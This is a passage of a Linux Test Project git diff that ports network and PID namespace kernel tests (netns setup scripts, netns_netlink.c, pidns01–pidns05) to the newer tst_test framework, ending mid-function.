NS_HANDLE0=tst_net_ns0 + NS_HANDLE1=tst_net_ns1 + + ip netns del $NS_HANDLE0 2>/dev/null + ip netns del $NS_HANDLE1 2>/dev/null + + ROD ip netns add $NS_HANDLE0 + ROD ip netns add $NS_HANDLE1 + + ROD $NS_EXEC $NS_HANDLE0 ip link add veth0 type veth peer name veth1 + ROD $NS_EXEC $NS_HANDLE0 ip link set veth1 netns $NS_HANDLE1 +} + +# Enables virtual ethernet devices and assigns IP addresses for both +# of them (IPv4/IPv6 variant is decided by netns_setup() function). +netns_set_ip() +{ + local cmd="ip" + + # This applies only for ipv6 variant: + # Do not accept Router Advertisements (accept_ra) and do not use + # Duplicate Address Detection (accept_dad) which uses Neighbor + # Discovery Protocol - the problem is that until DAD can confirm that + # there is no other host with the same address, the address is + # considered to be "tentative" (attempts to bind() to the address fail + # with EADDRNOTAVAIL) which may cause problems for tests using ipv6. + if [ "$TST_IPV6" ]; then + echo 0 | $NS_EXEC $NS_HANDLE0 $NS_TYPE \ + tee /proc/sys/net/ipv6/conf/veth0/accept_dad \ + /proc/sys/net/ipv6/conf/veth0/accept_ra >/dev/null + echo 0 | $NS_EXEC $NS_HANDLE1 $NS_TYPE \ + tee /proc/sys/net/ipv6/conf/veth1/accept_dad \ + /proc/sys/net/ipv6/conf/veth1/accept_ra >/dev/null + fi + + [ "$COMM_TYPE" = "ioctl" ] && cmd="ifconfig" + + if [ "$COMM_TYPE" = "netlink" ]; then + ROD $NS_EXEC $NS_HANDLE0 $NS_TYPE ip address add $IP0/$NETMASK dev veth0 + ROD $NS_EXEC $NS_HANDLE1 $NS_TYPE ip address add $IP1/$NETMASK dev veth1 + ROD $NS_EXEC $NS_HANDLE0 $NS_TYPE ip link set veth0 up + ROD $NS_EXEC $NS_HANDLE1 $NS_TYPE ip link set veth1 up + else + ROD $NS_EXEC $NS_HANDLE0 $NS_TYPE ifconfig veth0 $IFCONF_IN6_ARG $IP0/$NETMASK + ROD $NS_EXEC $NS_HANDLE1 $NS_TYPE ifconfig veth1 $IFCONF_IN6_ARG $IP1/$NETMASK + ROD $NS_EXEC $NS_HANDLE0 $NS_TYPE ifconfig veth0 up + ROD $NS_EXEC $NS_HANDLE1 $NS_TYPE ifconfig veth1 up + fi +} + +netns_ns_exec_cleanup() +{ + [ "$NS_EXEC" ] || return + + # removes veth0 device (which also removes the paired veth1 device) + $NS_EXEC $NS_HANDLE0 $NS_TYPE ip link delete veth0 + + kill -9 $NS_HANDLE0 2>/dev/null + kill -9 $NS_HANDLE1 2>/dev/null +} + + +netns_ip_cleanup() +{ + [ "$NS_EXEC" ] || return + + # removes veth0 device (which also removes the paired veth1 device) + $NS_EXEC $NS_HANDLE0 ip link delete veth0 + + ip netns del $NS_HANDLE0 2>/dev/null + ip netns del $NS_HANDLE1 2>/dev/null +} + +. tst_net.sh diff --git a/testcases/kernel/containers/netns/netns_netlink.c b/testcases/kernel/containers/netns/netns_netlink.c index 7c90fb07..e8df616e 100755 --- a/testcases/kernel/containers/netns/netns_netlink.c +++ b/testcases/kernel/containers/netns/netns_netlink.c @@ -33,11 +33,10 @@ #include #include #include -#include #include "tst_test.h" #include "tst_safe_macros.h" -#include "lapi/namespaces_constants.h" +#include "lapi/sched.h" #define MAX_TRIES 1000 @@ -57,7 +56,7 @@ static void child_func(void) SAFE_BIND(fd, (struct sockaddr *) &sa, sizeof(sa)); /* waits for parent to create an interface */ - TST_CHECKPOINT_WAIT(0); + TST_CHECKPOINT_WAKE_AND_WAIT(0); /* * To get rid of "resource temporarily unavailable" errors @@ -98,6 +97,9 @@ static void test_netns_netlink(void) if (SAFE_FORK() == 0) child_func(); + /* wait until child opens netlink socket */ + TST_CHECKPOINT_WAIT(0); + /* creates TAP network interface dummy0 */ if (WEXITSTATUS(system("ip tuntap add dev dummy0 mode tap"))) tst_brk(TBROK, "adding interface failed"); diff --git a/testcases/kernel/containers/netns/netns_sysfs.sh b/testcases/kernel/containers/netns/netns_sysfs.sh index 8125e249..814274fd 100755 --- a/testcases/kernel/containers/netns/netns_sysfs.sh +++ b/testcases/kernel/containers/netns/netns_sysfs.sh @@ -2,6 +2,7 @@ # SPDX-License-Identifier: GPL-2.0-or-later # Copyright (c) Köry Maincent 2020 # Copyright (c) 2015 Red Hat, Inc. +# Copyright (c) Linux Test Project, 2015-2023 # # Tests that a separate network namespace cannot affect sysfs contents # of the main namespace. @@ -11,7 +12,6 @@ TST_CLEANUP=do_cleanup TST_SETUP=do_setup TST_TESTFUNC=do_test TST_NEEDS_TMPDIR=1 -. tst_test.sh do_setup() { @@ -19,16 +19,7 @@ do_setup() DUMMYDEV_HOST="dummy_test0" DUMMYDEV="dummy_test1" - if tst_kvcmp -lt "2.6.35"; then - tst_brk TCONF "sysfs is not mount namespace aware for kernels older than 2.6.35" - fi - - setns_check - if [ $? -eq 32 ]; then - tst_brk TCONF "setns not supported" - fi - - NS_HANDLE=$(ns_create $NS_TYPE) + NS_HANDLE=$(tst_ns_create $NS_TYPE) if [ $? -eq 1 ]; then tst_res TINFO "$NS_HANDLE" tst_brk TBROK "unable to create a new network namespace" @@ -37,10 +28,10 @@ do_setup() ip link add $DUMMYDEV_HOST type dummy || \ tst_brk TBROK "failed to add a new (host) dummy device" - ns_exec $NS_HANDLE $NS_TYPE mount --make-rprivate /sys - ns_exec $NS_HANDLE $NS_TYPE ip link add $DUMMYDEV type dummy || \ + tst_ns_exec $NS_HANDLE $NS_TYPE mount --make-rprivate /sys + tst_ns_exec $NS_HANDLE $NS_TYPE ip link add $DUMMYDEV type dummy || \ tst_brk TBROK "failed to add a new dummy device" - ns_exec $NS_HANDLE $NS_TYPE mount -t sysfs none /sys 2>/dev/null + tst_ns_exec $NS_HANDLE $NS_TYPE mount -t sysfs none /sys 2>/dev/null } do_cleanup() @@ -50,12 +41,12 @@ do_cleanup() kill -9 $NS_HANDLE 2>/dev/null } - do_test() { - EXPECT_PASS ns_exec $NS_HANDLE $NS_TYPE test -e /sys/class/net/$DUMMYDEV - EXPECT_FAIL ns_exec $NS_HANDLE $NS_TYPE test -e /sys/class/net/$DUMMYDEV_HOST + EXPECT_PASS tst_ns_exec $NS_HANDLE $NS_TYPE test -e /sys/class/net/$DUMMYDEV + EXPECT_FAIL tst_ns_exec $NS_HANDLE $NS_TYPE test -e /sys/class/net/$DUMMYDEV_HOST EXPECT_FAIL test -e /sys/class/net/$DUMMYDEV } +. tst_test.sh tst_run diff --git a/testcases/kernel/containers/pidns/Makefile b/testcases/kernel/containers/pidns/Makefile index 5f8383c3..180bc7c9 100755 --- a/testcases/kernel/containers/pidns/Makefile +++ b/testcases/kernel/containers/pidns/Makefile @@ -4,8 +4,7 @@ top_srcdir ?= ../../../.. include $(top_srcdir)/include/mk/testcases.mk -include $(abs_srcdir)/../Makefile.inc -LDLIBS := -lpthread -lrt -lclone $(LDLIBS) +LDLIBS := -lrt $(LDLIBS) include $(top_srcdir)/include/mk/generic_leaf_target.mk diff --git a/testcases/kernel/containers/pidns/pidns01.c b/testcases/kernel/containers/pidns/pidns01.c index ac702dd1..8b856ec9 100755 --- a/testcases/kernel/containers/pidns/pidns01.c +++ b/testcases/kernel/containers/pidns/pidns01.c @@ -1,118 +1,52 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* -* Copyright (c) International Business Machines Corp., 2007 -* This program is free software; you can redistribute it and/or modify -* it under the terms of the GNU General Public License as published by -* the Free Software Foundation; either version 2 of the License, or -* (at your option) any later version. -* This program is distributed in the hope that it will be useful, -* but WITHOUT ANY WARRANTY; without even the implied warranty of -* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See -* the GNU General Public License for more details. -* You should have received a copy of the GNU General Public License -* along with this program; if not, write to the Free Software -* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA -* -*************************************************************************** - -* File: pidns01.c -* -* Description: -* The pidns01.c testcase builds into the ltp framework to verify -* the basic functionality of PID Namespace. -* -* Verify that: -* 1. When parent clone a process with flag CLONE_NEWPID, the process ID of -* child should be always one. -* -* 2. When parent clone a process with flag CLONE_NEWPID, the parent process ID of -* should be always zero. -* -* Total Tests: -* -* Test Name: pidns01 -* -* Test Assertion & Strategy: -* -* From main() clone a new child process with passing the clone_flag as CLONE_NEWPID, -* Inside the cloned pid check for the getpid() and getppid() -* Verify with global macro defined value for parent pid & child pid. -* -* Usage: -* pidns01 -* -* History: -* -* FLAG DATE NAME DESCRIPTION -* 27/12/07 RISHIKESH K RAJAK Created this test -* -*******************************************************************************************/ -#define _GNU_SOURCE -#include -#include -#include -#include -#include -#include -#include -#include "pidns_helper.h" -#include "test.h" + * Copyright (c) International Business Machines Corp., 2007 + * 27/12/07 Rishikesh K Rajak + * Copyright (C) 2022 SUSE LLC Andrea Cervesato + */ -char *TCID = "pidns01"; -int TST_TOTAL = 1; +/*\ + * [Description] + * + * Clone a process with CLONE_NEWPID flag and check: + * + * - child process ID must be 1 + * - parent process ID must be 0 + */ -#define CHILD_PID 1 -#define PARENT_PID 0 +#include "tst_test.h" +#include "lapi/sched.h" -/* - * child_fn1() - Inside container - */ -int child_fn1(void *ttype LTP_ATTRIBUTE_UNUSED) +static void child_func(void) { - int exit_val; pid_t cpid, ppid; - cpid = getpid(); - ppid = getppid(); - - tst_resm(TINFO, "PIDNS test is running inside container"); - if (cpid == CHILD_PID && ppid == PARENT_PID) { - printf("Got expected cpid and ppid\n"); - exit_val = 0; - } else { - printf("Got unexpected result of cpid=%d ppid=%d\n", - cpid, ppid); - exit_val = 1; - } - return exit_val; -} + cpid = tst_getpid(); + ppid = getppid(); -static void setup(void) -{ - tst_require_root(); - check_newpid(); + TST_EXP_EQ_LI(cpid, 1); + TST_EXP_EQ_LI(ppid, 0); } -int main(int argc, char *argv[]) +static void run(void) { - int status; - tst_parse_opts(argc, argv, NULL, NULL); - setup(); - - TEST(do_clone_unshare_test(T_CLONE, CLONE_NEWPID, child_fn1, NULL)); - - if (TEST_RETURN == -1) { - tst_brkm(TFAIL | TTERRNO, NULL, "clone failed"); - } else if ((wait(&status)) == -1) { - tst_brkm(TWARN | TERRNO, NULL, "wait failed"); - } - - if (WIFEXITED(status) && WEXITSTATUS(status) != 0) - tst_resm(TFAIL, "child exited abnormally"); - else if (WIFSIGNALED(status)) { - tst_resm(TFAIL, "child was killed with signal = %d", - WTERMSIG(status)); + const struct tst_clone_args args = { + .flags = CLONE_NEWPID, + .exit_signal = SIGCHLD, + }; + + if (!SAFE_CLONE(&args)) { + child_func(); + return; } - - tst_exit(); } +static struct tst_test test = { + .test_all = run, + .needs_root = 1, + .forks_child = 1, + .needs_kconfigs = (const char *[]) { + "CONFIG_PID_NS", + NULL, + }, +}; diff --git a/testcases/kernel/containers/pidns/pidns02.c b/testcases/kernel/containers/pidns/pidns02.c index 2bc9035d..f23178cb 100755 --- a/testcases/kernel/containers/pidns/pidns02.c +++ b/testcases/kernel/containers/pidns/pidns02.c @@ -1,114 +1,52 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* -* Copyright (c) International Business Machines Corp., 2007 -* This program is free software; you can redistribute it and/or modify -* it under the terms of the GNU General Public License as published by -* the Free Software Foundation; either version 2 of the License, or -* (at your option) any later version. -* This program is distributed in the hope that it will be useful, -* but WITHOUT ANY WARRANTY; without even the implied warranty of -* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See -* the GNU General Public License for more details. -* You should have received a copy of the GNU General Public License -* along with this program; if not, write to the Free Software -* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA -* -*************************************************************************** - -* File: pidns02.c -* -* Description: -* The pidns02.c testcase builds into the ltp framework to verify -* the basic functionality of PID Namespace. -* -* Verify that: -* 1. When parent clone a process with flag CLONE_NEWPID, the session ID of -* child should be always one. -* -* 2. When parent clone a process with flag CLONE_NEWPID, the parent process group ID -* should be always one. -* -* Total Tests -* -* Test Name: pidns02 -* -* Test Assertion & Strategy: -* -* From main() clone a new child process with passing the clone_flag as CLONE_NEWPID, -* Call the setid() inside container. -* Inside the cloned pid check for the getsid(0) and getpgid(0) -* Verify with global macro defined value for parent pid & child pid. -* -* Usage: -* pidns02 -*/ - -#define _GNU_SOURCE -#include -#include -#include -#include -#include -#include -#include -#include "pidns_helper.h" -#include "test.h" - -char *TCID = "pidns02"; -int TST_TOTAL = 1; - -#define PGID 1 -#define SID 1 + * Copyright (c) International Business Machines Corp., 2007 + * Copyright (C) 2022 SUSE LLC Andrea Cervesato + */ -/* - * child_fn1() - Inside container +/*\ + * [Description] + * + * Clone a process with CLONE_NEWPID flag and check: + * + * - child session ID must be 1 + * - parent process group ID must be 1 */ -int child_fn1(void *vtest) -{ - pid_t pgid, sid; - setsid(); +#include "tst_test.h" +#include "lapi/sched.h" - pgid = getpgid(0); - sid = getsid(0); +static void child_func(void) +{ + TST_EXP_EQ_LI(getsid(0), 0); + TST_EXP_EQ_LI(getpgid(0), 0); - printf("Checking session id & group id inside container\n"); - if (pgid == PGID && sid == SID) { - printf("Success: Got Group ID = %d & Session ID = %d\n", - pgid, sid); - exit(0); - } else { - printf("Got unexpected result of Group ID = %d & Session ID = " - "%d\n", pgid, sid); - exit(1); - } -} + tst_res(TINFO, "setsid()"); + SAFE_SETSID(); -static void setup(void) -{ - tst_require_root(); - check_newpid(); + TST_EXP_EQ_LI(getsid(0), 1); + TST_EXP_EQ_LI(getpgid(0), 1); } -int main(void) +static void run(void) { - int status; - - setup(); - - TEST(do_clone_unshare_test(T_CLONE, CLONE_NEWPID, child_fn1, NULL)); - if (TEST_RETURN == -1) { - tst_brkm(TFAIL | TTERRNO, NULL, "clone failed"); - } else if ((wait(&status)) == -1) { - tst_brkm(TFAIL | TERRNO, NULL, "wait failed"); + const struct tst_clone_args args = { + .flags = CLONE_NEWPID, + .exit_signal = SIGCHLD, + }; + + if (!SAFE_CLONE(&args)) { + child_func(); + return; } - - if (WIFEXITED(status) && WEXITSTATUS(status) != 0) { - tst_resm(TFAIL | TERRNO, "child exited abnormally"); - } else if (WIFSIGNALED(status)) { - tst_resm(TFAIL | TERRNO, "child exited with signal %d", - WTERMSIG(status)); - } - - tst_exit(); - } + +static struct tst_test test = { + .test_all = run, + .needs_root = 1, + .forks_child = 1, + .needs_kconfigs = (const char *[]) { + "CONFIG_PID_NS", + NULL, + }, +}; diff --git a/testcases/kernel/containers/pidns/pidns03.c b/testcases/kernel/containers/pidns/pidns03.c index b735ab36..d662ca9d 100755 --- a/testcases/kernel/containers/pidns/pidns03.c +++ b/testcases/kernel/containers/pidns/pidns03.c @@ -1,124 +1,68 @@ -/* Copyright (c) 2014 Red Hat, Inc. All rights reserved. - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of version 2 the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - *********************************************************************** - * File: pidns03.c +// SPDX-License-Identifier: GPL-2.0 +/* + * Copyright (c) 2014 Red Hat, Inc. All rights reserved. + * Copyright (C) 2022 SUSE LLC Andrea Cervesato + */ + +/*\ + * [Description] * - * Description: - * Clones a new child process with CLONE_NEWPID flag - the new child - * process mounts procfs to a "proc" directory and checks if it belongs - * to a new pid namespace by: - * 1. reading value of "proc/self", which is symlink - * to directory named after current pid number - * 2. comparing read value (PID) with "1" + * Clone a process with CLONE_NEWPID flag and check if procfs mounted folder + * belongs to the new pid namespace by looking at /proc/self . */ -#define _GNU_SOURCE -#include #include -#include -#include -#include -#include -#include -#include "pidns_helper.h" -#include "test.h" -#include "safe_macros.h" +#include "tst_test.h" +#include "lapi/sched.h" #define PROCDIR "proc" -char *TCID = "pidns03"; -int TST_TOTAL = 1; - -static void cleanup(void) +static void child_func(void) { - tst_rmdir(); + char proc_self[10]; + + SAFE_MOUNT("none", PROCDIR, "proc", MS_RDONLY, NULL); + + SAFE_READLINK(PROCDIR"/self", proc_self, sizeof(proc_self) - 1); + + SAFE_UMOUNT(PROCDIR); + + TST_EXP_PASS(strcmp(proc_self, "1"), PROCDIR"/self contains 1:"); } static void setup(void) { - tst_require_root(); - check_newpid(); - tst_tmpdir(); - SAFE_MKDIR(cleanup, PROCDIR, 0555); + SAFE_MKDIR(PROCDIR, 0555); } -int child_func(void *arg) +static void cleanup(void) { - ssize_t r; - char buf[10]; - - if (mount("none", PROCDIR, "proc", MS_RDONLY, NULL) == -1) { - perror("mount"); - return 1; - } - - /* self is symlink to directory named after current pid number */ - r = readlink(PROCDIR"/self", buf, sizeof(buf)-1); - if (r == -1) { - perror("readlink"); - umount(PROCDIR); - return 1; - } - - buf[r] = '\0'; - - umount(PROCDIR); - - /* child should have PID 1 in a new pid namespace - if true - * procfs belongs to the new pid namespace */ - if (strcmp(buf, "1")) { - fprintf(stderr, "%s contains: %s\n", PROCDIR"/self", buf); - return 1; - } - - return 0; + if (tst_is_mounted_at_tmpdir(PROCDIR)) + SAFE_UMOUNT(PROCDIR); } -static void test(void) +static void run(void) { - int status; - - if (do_clone_tests(CLONE_NEWPID, child_func, NULL, NULL, NULL) == -1) - tst_brkm(TBROK | TERRNO, cleanup, "clone failed"); - - SAFE_WAIT(cleanup, &status); - - if (WIFEXITED(status) && WEXITSTATUS(status) == 0) { - tst_resm(TPASS, "mounting procfs in a new namespace"); - return; - } + const struct tst_clone_args args = { + .flags = CLONE_NEWPID, + .exit_signal = SIGCHLD, + }; - if (WIFSIGNALED(status)) { - tst_resm(TFAIL, "child was killed with signal %s", - tst_strsig(WTERMSIG(status))); + if (!SAFE_CLONE(&args)) { + child_func(); return; } - - tst_resm(TFAIL, "mounting procfs in a new namespace"); } -int main(int argc, char *argv[]) -{ - int lc; - - tst_parse_opts(argc, argv, NULL, NULL); - - setup(); - - for (lc = 0; TEST_LOOPING(lc); lc++) - test(); - - cleanup(); - tst_exit(); -} +static struct tst_test test = { + .test_all = run, + .setup = setup, + .cleanup = cleanup, + .needs_root = 1, + .forks_child = 1, + .needs_tmpdir = 1, + .needs_kconfigs = (const char *[]) { + "CONFIG_PID_NS", + NULL, + }, +}; diff --git a/testcases/kernel/containers/pidns/pidns04.c b/testcases/kernel/containers/pidns/pidns04.c index 9ac0e5ac..bed75a08 100755 --- a/testcases/kernel/containers/pidns/pidns04.c +++ b/testcases/kernel/containers/pidns/pidns04.c @@ -1,150 +1,54 @@ +// SPDX-License-Identifier: GPL-2.0 /* -* Copyright (c) International Business Machines Corp., 2007 -* This program is free software; you can redistribute it and/or modify -* it under the terms of the GNU General Public License as published by -* the Free Software Foundation; either version 2 of the License, or -* (at your option) any later version. -* This program is distributed in the hope that it will be useful, -* but WITHOUT ANY WARRANTY; without even the implied warranty of -* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See -* the GNU General Public License for more details. -* You should have received a copy of the GNU General Public License -* along with this program; if not, write to the Free Software -* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA -* -*************************************************************************** + * Copyright (C) International Business Machines Corp., 2008 + * Copyright (C) 2022 SUSE LLC Andrea Cervesato + */ -* File: pidns04.c -* -* Description: -* The pidns04.c testcase builds into the ltp framework to verify -* the basic functionality of PID Namespace. -* -* Verify that: -* 1. When parent clone a process with flag CLONE_NEWPID, the process ID of -* child should be one. -* -* 2. When parent clone a process with flag CLONE_NEWPID, the parent process ID -* of should be zero. -* -* 3. The container init process (one), should not get killed by the SIGKILL in -* the childNS -* -* Total Tests: -* -* Test Name: pidns04 -* -* Test Assertion & Strategy: -* -* From main() clone a new child process with passing the clone_flag as -* CLONE_NEWPID. -* The container init, should not get killed by the SIGKILL inside the child NS. -* Usage: -* pidns04 -* -* History: -* -* FLAG DATE NAME DESCRIPTION -* 08/10/08 Veerendra C Verifies killing of cont init. -* -*******************************************************************************/ -#define _GNU_SOURCE 1 -#include -#include -#include -#include -#include -#include -#include -#define CLEANUP cleanup -#include "pidns_helper.h" -#include "test.h" - -#define INIT_PID 1 -#define CHILD_PID 1 -#define PARENT_PID 0 +/*\ + * [Description] + * + * Clone a process with CLONE_NEWPID flag and check that child container does + * not get kill itself with SIGKILL. + */ -char *TCID = "pidns04"; -int TST_TOTAL = 1; -int fd[2]; +#include +#include "tst_test.h" +#include "lapi/sched.h" -/* - * child_fn1() - Inside container -*/ -static int child_fn1(void *ttype) +static void child_func(void) { - int exit_val; - pid_t cpid, ppid; - cpid = getpid(); - ppid = getppid(); - char mesg[] = "I was not killed !"; - /* Child process closes up read side of pipe */ - close(fd[0]); + pid_t cpid = tst_getpid(); + pid_t ppid = getppid(); - /* Comparing the values to make sure pidns is created correctly */ - if ((cpid == CHILD_PID) && (ppid == PARENT_PID)) { - printf("PIDNS test is running inside container\n"); - kill(INIT_PID, SIGKILL); - /* Verifying whether the container init is not killed, " - If so writing into the pipe created in the parent NS" */ + TST_EXP_EQ_LI(cpid, 1); + TST_EXP_EQ_LI(ppid, 0); - /* Send "mesg" through the write side of pipe */ - write(fd[1], mesg, (strlen(mesg) + 1)); - exit_val = 0; - } else { - printf("got unexpected result of cpid=%d ppid=%d\n", - cpid, ppid); - exit_val = 1; - } - exit(exit_val); -} + tst_res(TINFO, "Trying to kill container from within container"); -static void setup(void) -{ - tst_require_root(); - check_newpid(); + SAFE_KILL(1, SIGKILL); + + tst_res(TINFO, "Container is up and running"); } -int main(void) +static void run(void) { - int nbytes, status; - char readbuffer[80]; - - setup(); - - pipe(fd); - TEST(do_clone_unshare_test(T_CLONE, CLONE_NEWPID, child_fn1, NULL)); - if (TEST_RETURN == -1) { - tst_brkm(TFAIL | TTERRNO, CLEANUP, "clone failed"); - } else if (wait(&status) == -1) { - tst_brkm(TFAIL | TERRNO, CLEANUP, "wait failed"); + const struct tst_clone_args args = { + .flags = CLONE_NEWPID, + .exit_signal = SIGCHLD, + }; + pid_t pid; + + pid = SAFE_CLONE(&args); + if (!pid) { + child_func(); + return; } - /* Parent process closes up write side of pipe */ - close(fd[1]); - /* Read in a string from the pipe */ - nbytes = read(fd[0], readbuffer, sizeof(readbuffer)); - - if (0 <= nbytes) { - tst_resm(TPASS, "Container init : %s", readbuffer); - } else { - tst_brkm(TFAIL, CLEANUP, - "Container init is killed by SIGKILL !!!"); - } - - if (WIFEXITED(status) && WEXITSTATUS(status) != 0) { - tst_resm(TFAIL, "Container init pid exited abnormally"); - } else if (WIFSIGNALED(status)) { - tst_resm(TFAIL, "Container init pid got killed by signal %d", - WTERMSIG(status)); - } - CLEANUP(); - - tst_exit(); - + tst_reap_children(); } -static void cleanup(void) -{ - close(fd[0]); -} +static struct tst_test test = { + .test_all = run, + .needs_root = 1, + .forks_child = 1, +}; diff --git a/testcases/kernel/containers/pidns/pidns05.c b/testcases/kernel/containers/pidns/pidns05.c index 79e146e3..0e7739aa 100755 --- a/testcases/kernel/containers/pidns/pidns05.c +++ b/testcases/kernel/containers/pidns/pidns05.c @@ -1,256 +1,124 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* -* Copyright (c) International Business Machines Corp., 2007 -* This program is free software; you can redistribute it and/or modify -* it under the terms of the GNU General Public License as published by -* the Free Software Foundation; either version 2 of the License, or -* (at your option) any later version. -* This program is distributed in the hope that it will be useful -* but WITHOUT ANY WARRANTY; without even the implied warranty of -* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See -* the GNU General Public License for more details. -* You should have received a copy of the GNU General Public License -* along with this program; if not, write to the Free Software -* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA -* -*************************************************************************** -* -* Assertion: -* a) Create a container. -* b) Create many levels of child containers inside this container. -* c) Now do kill -9 init , outside of the container. -* d) This should kill all the child containers. -* (containers created at the level below) -* -* Description: -* 1. Parent process clone a process with flag CLONE_NEWPID -* 2. The container will recursively loop and creates 4 more containers. -* 3. All the container init's goes into sleep(), waiting to be terminated. -* 4. The parent process will kill child[3] by passing SIGKILL -* 5. Now parent process, verifies the child containers 4 & 5 are destroyed. -* 6. If they are killed then -* Test passed -* else Test failed. -* -* Test Name: pidns05 -* -* History: -* -* FLAG DATE NAME DESCRIPTION -* 31/10/08 Veerendra C Verifies killing of NestedCont's -* -*******************************************************************************/ -#define _GNU_SOURCE 1 + * Copyright (c) Veerendra C , 2008 + * Copyright (C) 2023 SUSE LLC Andrea Cervesato + */ + +/*\ + * [Description] + * + * Clone a process with CLONE_NEWPID flag and create many levels of child + * containers. Then kill container init process from parent and check if all + * containers have been killed. + */ + #include -#include -#include -#include -#include -#include -#include -#include "pidns_helper.h" -#include "test.h" -#include "safe_macros.h" +#include "tst_test.h" +#include "lapi/sched.h" -#define INIT_PID 1 -#define CINIT_PID 1 -#define PARENT_PID 0 #define MAX_DEPTH 5 -char *TCID = "pidns05"; -int TST_TOTAL = 1; -int fd[2]; - -int max_pid(void) -{ - FILE *fp; - int ret; - - fp = fopen("/proc/sys/kernel/pid_max", "r"); - if (fp != NULL) { - fscanf(fp, "%d", &ret); - fclose(fp); - } else { - tst_resm(TBROK, "Cannot open /proc/sys/kernel/pid_max"); - ret = -1; - } - return ret; -} +static struct tst_clone_args clone_args = { + .flags = CLONE_NEWPID, + .exit_signal = SIGCHLD +}; +static pid_t pid_max; -/* find_cinit_pids() iteratively finds the pid's having same PGID as its parent. - * Input parameter - Accepts pointer to pid_t : To copy the pid's matching. - * Returns - the number of pids matched. -*/ -int find_cinit_pids(pid_t * pids) +static void child_func(int *level) { - int next = 0, pid_max, i; - pid_t parentpid, pgid, pgid2; + pid_t cpid, ppid; - pid_max = max_pid(); - parentpid = getpid(); - pgid = getpgid(parentpid); + cpid = tst_getpid(); + ppid = getppid(); - /* The loop breaks, when the loop counter reaches the parentpid value */ - for (i = parentpid + 1; i != parentpid; i++) { - if (i > pid_max) - i = 2; + TST_EXP_EQ_LI(cpid, 1); + TST_EXP_EQ_LI(ppid, 0); - pgid2 = getpgid(i); - if (pgid2 == pgid) { - pids[next] = i; - next++; - } + if (*level >= MAX_DEPTH) { + TST_CHECKPOINT_WAKE(0); + return; } - return next; -} - -/* -* create_nested_container() Recursively create MAX_DEPTH nested containers -*/ -int create_nested_container(void *vtest) -{ - int exit_val; - int ret, count, *level; - pid_t cpid, ppid; - cpid = getpid(); - ppid = getppid(); - char mesg[] = "Nested Containers are created"; - level = (int *)vtest; - count = *level; + (*level)++; - /* Child process closes up read side of pipe */ - close(fd[0]); - - /* Comparing the values to make sure pidns is created correctly */ - if (cpid != CINIT_PID || ppid != PARENT_PID) { - printf("Got unexpected cpid and/or ppid (cpid=%d ppid=%d)\n", - cpid, ppid); - exit_val = 1; - } - if (count > 1) { - count--; - ret = do_clone_unshare_test(T_CLONE, CLONE_NEWPID, - create_nested_container, - (void *)&count); - if (ret == -1) { - printf("clone failed; errno = %d : %s\n", - ret, strerror(ret)); - exit_val = 1; - } else - exit_val = 0; - } else { - /* Sending mesg, 'Nested containers created' through the pipe */ - write(fd[1], mesg, (strlen(mesg) + 1)); - exit_val = 0; + if (!SAFE_CLONE(&clone_args)) { + child_func(level); + return; } - close(fd[1]); pause(); - - return exit_val; } -void kill_nested_containers() +static int find_cinit_pids(pid_t *pids) { - int orig_count, new_count, status = 0, i; - pid_t pids[MAX_DEPTH]; - pid_t pids_new[MAX_DEPTH]; + int pid; + int next = 0; + pid_t parentpid, pgid, pgid2; - orig_count = find_cinit_pids(pids); - kill(pids[MAX_DEPTH - 3], SIGKILL); - sleep(1); + parentpid = tst_getpid(); + pgid = SAFE_GETPGID(parentpid); - /* After killing child container, getting the New PID list */ - new_count = find_cinit_pids(pids_new); + for (pid = 2; pid < pid_max; pid++) { + if (pid == parentpid) + continue; - /* Verifying that the child containers were destroyed when parent is killed */ - if (orig_count - 2 != new_count) - status = -1; + pgid2 = getpgid(pid); - for (i = 0; i < new_count; i++) { - if (pids[i] != pids_new[i]) - status = -1; + if (pgid2 == pgid) { + pids[next] = pid; + next++; + } } - if (status == 0) - tst_resm(TPASS, "The number of containers killed are %d", - orig_count - new_count); - else - tst_resm(TFAIL, "Failed to kill the sub-containers of " - "the container %d", pids[MAX_DEPTH - 3]); - - /* Loops through the containers created to exit from sleep() */ - for (i = 0; i < MAX_DEPTH; i++) { - kill(pids[i], SIGKILL); - waitpid(pids[i], &status, 0); - } + return next; } static void setup(void) { - tst_require_root(); - check_newpid(); + SAFE_FILE_SCANF("/proc/sys/kernel/pid_max", "%d\n", &pid_max); } -int main(void) +static void run(void) { - int ret, nbytes, status; - char readbuffer[80]; - pid_t pid, pgid; - int count = MAX_DEPTH; - - setup(); + int i, status, children; + int level = 0; + pid_t pids_new[MAX_DEPTH]; + pid_t pids[MAX_DEPTH]; + pid_t pid; - /* - * XXX (garrcoop): why in the hell is this fork-wait written this way? - * This doesn't add up with the pattern used for the rest of the tests, - * so I'm pretty damn sure this test is written incorrectly. - */ - pid = fork(); - if (pid == -1) { - tst_brkm(TBROK | TERRNO, NULL, "fork failed"); - } else if (pid != 0) { - /* - * NOTE: use waitpid so that we know we're waiting for the - * _top-level_ child instead of a spawned subcontainer. - * - * XXX (garrcoop): Might want to mask SIGCHLD in the top-level - * child too, or not *shrugs*. - */ - if (waitpid(pid, &status, 0) == -1) { - perror("wait failed"); - } - if (WIFEXITED(status)) - exit(WEXITSTATUS(status)); - else - exit(status); + pid = SAFE_CLONE(&clone_args); + if (!pid) { + child_func(&level); + return; } - /* To make all the containers share the same PGID as its parent */ - setpgid(0, 0); + TST_CHECKPOINT_WAIT(0); - pid = getpid(); - pgid = getpgid(pid); - SAFE_PIPE(NULL, fd); + 